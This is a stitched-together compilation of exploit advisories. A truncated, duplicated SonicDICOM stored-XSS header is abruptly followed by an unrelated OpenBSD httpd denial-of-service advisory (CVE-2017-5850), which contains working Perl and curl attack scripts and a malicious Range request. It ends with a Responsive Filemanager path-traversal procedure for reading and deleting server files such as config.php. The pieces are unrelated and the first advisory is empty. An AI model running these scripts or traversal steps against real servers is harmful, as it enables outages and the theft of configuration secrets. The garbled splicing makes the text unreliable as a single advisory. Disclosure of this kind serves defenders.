Vendor: JIUN Corporation
Product web page: https://www.sonicdicom.com
Affected version: 2.3.2 and 2.3.1

SonicDICOM PACS 2.3.2 Multiple Stored Cross-Site Scripting Vulnerabilities


Vendor: JIUN Corporation
Product web page: https://www.sonicdicom.com
Affected version: 2.3.2 and 2.3.1

Summary: SonicDICOM is PACS software that combines the capabilities of
DICOM Server with web browser based DICOM Viewer.

Desc: The application suffers from multiple stored XSS vulnerabilities.
Input passed to several API POST parameters is not properly sanitised
before being returned to the user. This can be exploited to execute
arbitrary HTML and script code in a user's browser session in context
of an affected site.

Tested on: Microsoft-HTTPAPI/2.0

## Advisory Information

Title: Remote DoS against OpenBSD http server (up to 6.0)
Advisory URL: https://pierrekim.github.io/advisories/CVE-2017-5850-openbsd.txt
Blog URL: https://pierrekim.github.io/blog/2017-02-07-openbsd-httpd-CVE-2017-5850.html
Date published: 2017-02-07
Vendors contacted: OpenBSD
Release mode: Released
CVE: CVE-2017-5850



## Product Description

The OpenBSD project produces a FREE, multi-platform 4.4BSD-based UNIX-like operating system.



## Vulnerabilities Summary

The shipped HTTP daemon in OpenBSD (up to the latest version) is prone to 2 remote DoS.

The first vulnerability allows an attacker to consume all the CPU power from the remote server (CPU exhaustion).

The second vulnerability (Memory exhaustion) allows an attacker to consume all the RAM and the swap space on the remote side.
Processes will be killed when running out of swap space. The system will be likely to freeze.



## Details - CPU exhaustion (no CVE entry)

OpenBSD's httpd is prone to a SSL DoS with SSL renegotiation:

- From my test, 1 renegociation thread takes =~ 70% of CPU.

top on the main server (10.0.2.15):

14711 www       51    0 1104K 3636K run       -         1:07 69.55% httpd

Multiple threads will eat all the available CPUs and will be likely to DoS the httpd:

14711 www       63    0 1192K 3708K run       -         2:48 33.45% httpd

78835 www       62    0 1232K 3808K run       -         0:15 28.08% httpd

There is no trace of such attacks in the httpd logs.

An attacker can use tools from THC to perform SSL DoS too (openssl was the fastest solution out of the box): https://www.thc.org/thc-ssl-dos/.



## Details - Memory exhaustion (CVE-2017-5850)

A vulnerability exists in the openbsd HTTP daemon. It will result in using all the RAM and the swap space on the remote side, processes will be killed when running out of swap space. The system will be likely to freeze.

Requesting file using a file-range will result in having a httpd process doing a full malloc() of the requested file.
It appears the entry is not correctly free()'d.

Hence, it's possible to DoS the remote server by requesting a file over and over by specifying a custom file range, ie:

    GET /index.html HTTP/1.1
    Range: bytes=1-
    User-Agent: Pierre loves you
    Host: fill-me-with-joy

This attack is successful if an attacker can identify a 'big' file (i.e. > 10MB) served by the remote HTTP server.

Here is a provided PoC (loosely based on KingCope's apache_killer.pl):

#!/usr/bin/perl -w

use warnings;
use IO::Socket;
use Parallel::ForkManager;

$numforks = 50;

if ($#ARGV < 1)
{
  &usage;
  exit;
}

while (1) {
  &killhttpd();
}

sub usage {
  print "OpenBSD HTTP Remote Denial of Service (memory exhaustion) - @PierreKimSec\n";
  print "usage: perl killobsdhttpd.pl <host> <remotefile>\n";
}

sub killhttpd {
  print "ATTACKING $ARGV[0] [using $numforks forks]\n";

  $pm = new Parallel::ForkManager($numforks);

  for (0 .. $numforks)
  {
    my $pid = $pm->start and next;
    my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                     PeerPort => "80",
                                     Proto    => 'tcp');
    $p = "GET $ARGV[1] HTTP/1.1\r\nRange: bytes=1-\r\nAccept: */*\r\nHost: $ARGV[0]\r\nConnection: close\r\n\r\n";
    print $sock $p;
    if (<$sock>) {sleep (0.5); $sock->close();}
    $pm->finish;
  }
  $pm->wait_all_children;
}


An attacker can use curl to replicate the PoC:

    curl --limit-rate 1 --continue-at 1 --header "Host: www.example.com" http://target/10mb.fs

Stopping the curl process and launching it again will produce one of the remote httpd to use more than 10MB of memory
for each request (the size of the 10mb.fs is 10MB) and will DoS the http server and the OpenBSD system by exhausting
all the RAM. The OpenBSD system will likely freeze within minutes.


PoC with curl (more effective than the perl version, it appears):

#!/bin/sh
# ./$0 www.target.tld /path/to/file

unset http_proxy
unset https_proxy

for i in $(seq 0 300)
do
  echo sending a req
  curl --limit-rate 1 --continue-at 1 --header "Host: $1" http://$1/$2 2>/dev/null >/dev/null &
  sleep 0.5
  pkill curl
done
while sleep 1
do
  echo "sending a req (slow)"
  curl --limit-rate 1 --continue-at 1 --header "Host: $1" http://$1/$2 2>/dev/null >/dev/null &
  pkill curl
done

This attack works using HTTP and using HTTPS.

Current situation in the attacked server (SWAP is full and all the RAM is being completely used):

load averages:  7.11,  3.30,  1.38                                             foo.my.domain 10:26:41
39 processes: 6 running, 32 idle, 1 on processor                                             up  0:03

  PID USERNAME PRI NICE  SIZE   RES STATE     WAIT      TIME    CPU COMMAND

  63038 www        2    0  948K    4K idle      kqread    0:00  0.00% httpd



We see the daemons (httpd and sshd) don't answer anymore:

## Vendor Response

o The issue about memory exhaustion has been solved in two ways:
- - OpenBSD 6.0/5.9: Erratas has been issued at:
https://ftp.openbsd.org/pub/OpenBSD/patches/6.0/common/017_httpd.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/5.9/common/034_httpd.patch.sig

- - OpenBSD -current: We reimplemented support for byte ranges in
- -current.  The previous implementation was flawed indeed, as it tried
to load the complete ranges into memory at once.


o High CPU usage is a well-known issue of client-initiated
renegotiation.  While this can cause higher than normal CPU usage, the
processes are still able to service requests.

As httpd uses LibreSSL's libtls, a sane TLS API on top of libssl, we
decided to disable client-initiated renegotiation for libtls servers
in -current.  This change was already planned and has now been
committed to LibreSSL.

libssl http://marc.info/?l=openbsd-cvs&m=148587695222112&w=2
libtls http://marc.info/?l=openbsd-cvs&m=148587827322528&w=2

[+] Exploit Title: Responsive Filemanger <= 9.11.0 - Arbitrary File Disclosure/Deletion
[+] Date: 7 Feb 2017
[+] Vulnerability and Exploit Author: Wiswat Aswamenakul
[+] Vendor Homepage: http://www.responsivefilemanager.com/
[+] Affected version: only tested on 9.11.0 and 9.7.3 (other versions might be affected)
[+] Tested on: Ubuntu 14.04, PHP 5.5.9
[+] Category: webapps

[+] Description
Responsive filemanger is a PHP based file manager that make use of AJAX
technology. It has various useful features. One of them is copy/cut and
paste files. However, the copy/cut feature does not santize file name
that will be copied/cut. Therefore, it is possible for attackers to
copied/cut any files including PHP files and paste them to overwrite
existing image files. Then, the attackers could download the overwritten
image files to read the content of the copied/cut files. Moreover, for
the cut feature, it can cause the original files to be deleted as well.

[+] Exploit
1. Upload a normal image file (jpg, png, gif) to a server
2. Right click at any files, select copy and capture the request with Burp Suite (or any local proxy)
3. Change parameter "path" to any file name that we would like to download, for example, path=../filemanager/config/config.php

###

4. Go to any sub directory, right click at any files, intercept the request with burp, select "Paste to this directory"
5. Change parameter "path" to the image file uploaded in step 1, for example, path=subdir/size.png

###

###

6. Download the image file uploaded in step 1, it will contain content of the file specified in step 3

[+] Note (about another issue I found)
During this report, I found another separated issue with the attack filtering that only check for "../" but not "..\" which can be used to bypass all filters if the application runs on Windows server and reported the issue to the owner as well. However, I found out that this issue was found by a guy from hacktizen and detailed in following blog post
http://hacktizen.blogspot.com/2016/06/responsive-filemanager-9102-directory.html
So, the credit goes for the guy who firstly reported. Perhaps, the guy from hackitizen did not contact the owner of responsive filemanger or there are any problems with communication. Therefore, the issue remains unresolved.
